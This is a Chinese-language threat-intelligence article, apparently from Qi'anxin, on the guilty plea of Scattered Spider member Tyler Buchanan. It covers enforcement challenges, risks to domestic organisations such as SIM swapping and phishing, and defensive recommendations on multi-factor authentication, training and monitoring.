与传统网络犯罪的差异

执法挑战

Buchanan在西班牙被捕的案例凸显了追踪英语母语网络犯罪分子的复杂性。与东欧犯罪分子通常在俄罗斯等地建立安全庇护所不同，"The Com"成员分布广泛，增加了国际执法协调的难度。然而，美国与西班牙、英国的执法合作最终成功实现引渡，显示了跨国司法协作的有效性。

国内关联影响与风险预警

尽管Scattered Spider的主要目标为欧美企业，但国内企业和机构也应高度重视以下风险：

直接风险

1. 跨国科技企业影响：在华的跨国科技公司（特别是涉及云通信、BPO服务的厂商）可能成为Scattered Spider的攻击跳板
2. 加密货币交易所用户：使用短信验证码认证的国内加密货币用户面临SIM交换攻击风险
3. 远程办公基础设施：使用VPN和SSO的企业员工凭证对攻击者具有高价值

间接风险

1. 工具扩散：Scattered Spider使用的钓鱼工具包和Telegram数据通道模式可能被国内威胁行为体模仿
2. 协作网络延伸：随着该组织与勒索软件组织的关系深化，针对国内企业的勒索攻击可能通过类似模式发起

防护建议

奇安信安全专家建议企业采取以下措施应对此类威胁：

技术层面：

• 禁用基于短信的双因素认证，改用硬件令牌或认证器应用

• 对VPN和SSO登录实施设备绑定和地理限制

• 部署邮件/短信钓鱼检测系统，对可疑链接进行实时阻断

• 建立MFA异常行为监控，识别非工作时间或异常设备的认证请求

管理层面：

• 定期进行社工防范培训，特别是针对钓鱼和SIM交换攻击

• 建立SIM卡安全策略，要求员工为其手机号码启用运营商保护

• 完善加密货币钱包管理规范，使用硬件钱包存储大额资产

• 定期审计第三方服务商的安全状况，特别是云通信提供商

监控层面：

• 部署威胁情报平台，追踪与"The Com"相关的攻击活动

• 建立Telegram频道和地下论坛监控机制

• 对员工个人信息泄露进行持续监测

结论与后续跟踪

Tyler Buchanan的认罪标志着Scattered Spider组织面临的重大打击，但考虑到该组织成员的年轻化特征和社区化运作模式，其活动不会因此终止。奇安信威胁情报中心将持续跟踪该组织的后续发展，重点关注：

1. Buchanan的量刑结果及其可能的协助执法行动

2. 其余三名被告的审判进展

3. Scattered Spider组织的战术调整和能力演进

4. 与勒索软件组织的协作深化程度

国内企业和机构应以此案为契机，全面审视自身安全防护体系中对社工攻击和SIM交换攻击的抵御能力，特别是在多因素认证和移动设备安全领域。

技术附录：相关MITRE ATT&CK技术映射

参考来源

[1].https://www.securityweek.com/british-scattered-spider-hacker-pleads-guilty-in-the-us/

阅读原文

跳转微信打开

Lazarus 从 Kelp DAO 窃取了 2.9 亿美元；SideWinder 使用伪造的 Chrome PDF 查看器和 Zimbra 克隆程序窃取政府网络邮箱凭证；疑似APT-C-13（Sandworm）组织利用SSH+TOR隧道实现隐蔽持久化的攻击活动分析